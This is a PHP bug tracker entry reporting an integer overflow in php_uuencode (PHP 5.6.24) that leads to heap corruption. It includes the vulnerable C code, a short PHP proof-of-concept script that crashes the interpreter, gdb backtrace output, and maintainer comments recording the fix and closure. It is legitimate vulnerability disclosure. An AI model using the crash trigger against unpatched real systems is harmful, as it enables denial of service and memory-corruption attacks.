php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #72850 integer overflow in php_uuencode caused heap corruption
Submitted: 2016-08-16 07:53 UTC Modified: 2017-02-13 01:44 UTC
From: minhrau dot vc dot 365 at gmail dot com Assigned: stas (profile)
Status: Closed Package: *General Issues
PHP Version: 5.6.24 OS: ALL
Private report: No CVE-ID: None
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: minhrau dot vc dot 365 at gmail dot com
New email:
PHP Version: OS:

 

 [2016-08-16 07:53 UTC] minhrau dot vc dot 365 at gmail dot com
Description:
------------
An integer overflow in function php_uuencode, will lead to
heap corruption. Please check the detail of this vuln in comment below:

PHPAPI int php_uuencode(char *src, int src_len, char **dest) /* {{{ */
{
	int len = 45;
	char *p, *s, *e, *ee;

	/* encoded length is ~ 38% greater than the original */
	p = *dest = safe_emalloc((size_t) ceil(src_len * 1.38), 1, 46); // the size of safe_emalloc could larger than INT_MAX



Test script:
---------------
<?php

ini_set('memory_limit', -1);


$str = str_repeat('\n', 0xffffffff/4);

var_dump(strlen($str));


$str1 = convert_uuencode($str);
var_dump(strlen($str1));
chunk_split($str1, 11, $str1);
?>

Expected result:
----------------
No Crash

Actual result:
--------------
Starting program: /home/minhrau/PHP-5.6.24/sapi/cli/php testiconv_uuencode_negative.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
int(2147483646)
int(-1336212048)

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff1d92fd7 in __memcpy_avx_unaligned () from /usr/lib/libc.so.6
(gdb) bt
#0  0x00007ffff1d92fd7 in __memcpy_avx_unaligned () from /usr/lib/libc.so.6
#1  0x00000000006b061f in zif_chunk_split (ht=<optimized out>, return_value=0x7ffff7fa40e0, return_value_ptr=<optimized out>, this_ptr=<optimized out>, return_value_used=<optimized out>) at /home/minhrau/PHP-5.6.24/ext/standard/string.c:2221
#2  0x00000000007f916d in zend_do_fcall_common_helper_SPEC (execute_data=<optimized out>) at /home/minhrau/PHP-5.6.24/Zend/zend_vm_execute.h:558
#3  0x0000000000783c2e in execute_ex (execute_data=0x7ffff7f6f240) at /home/minhrau/PHP-5.6.24/Zend/zend_vm_execute.h:363
#4  0x000000000074ee21 in zend_execute_scripts (type=type@entry=8, retval=retval@entry=0x0, file_count=file_count@entry=3) at /home/minhrau/PHP-5.6.24/Zend/zend.c:1341
#5  0x00000000006ed1b0 in php_execute_script (primary_file=primary_file@entry=0x7fffffffd0e0) at /home/minhrau/PHP-5.6.24/main/main.c:2613
#6  0x00000000007fab77 in do_cli (argc=2, argv=0xf8d960) at /home/minhrau/PHP-5.6.24/sapi/cli/php_cli.c:994
#7  0x00000000004361e4 in main (argc=2, argv=0xf8d960) at /home/minhrau/PHP-5.6.24/sapi/cli/php_cli.c:1378
(gdb) 


Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-08-16 23:04 UTC] stas@php.net
-Assigned To: +Assigned To: stas
 [2016-08-16 23:04 UTC] stas@php.net
The fix is in security repo as f77f0edc705bbf403742029106a18924c50d40f6 and in https://gist.github.com/c8c9d299ebdc0fbc6aa345b7ba64a92e

please verify
 [2016-08-17 05:57 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=35a8ed2f6283d0dd09009e1f1ab18d66bdff5e42
Log: Fix bug #72850 - integer overflow in uuencode
 [2016-08-17 05:57 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2016-08-17 08:23 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=35a8ed2f6283d0dd09009e1f1ab18d66bdff5e42
Log: Fix bug #72850 - integer overflow in uuencode
 [2016-08-17 09:15 UTC] laruence@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=35a8ed2f6283d0dd09009e1f1ab18d66bdff5e42
Log: Fix bug #72850 - integer overflow in uuencode
 [2016-08-18 11:15 UTC] tyrael@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=c35e4cb20cdeb02d9d362c57edce11c2948effcd
Log: Fix bug #72850 - integer overflow in uuencode
 [2016-10-17 10:09 UTC] bwoebi@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=35a8ed2f6283d0dd09009e1f1ab18d66bdff5e42
Log: Fix bug #72850 - integer overflow in uuencode
 [2017-02-13 01:44 UTC] stas@php.net
-Type: Security +Type: Bug
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Thu Dec 26 10:01:29 2024 UTC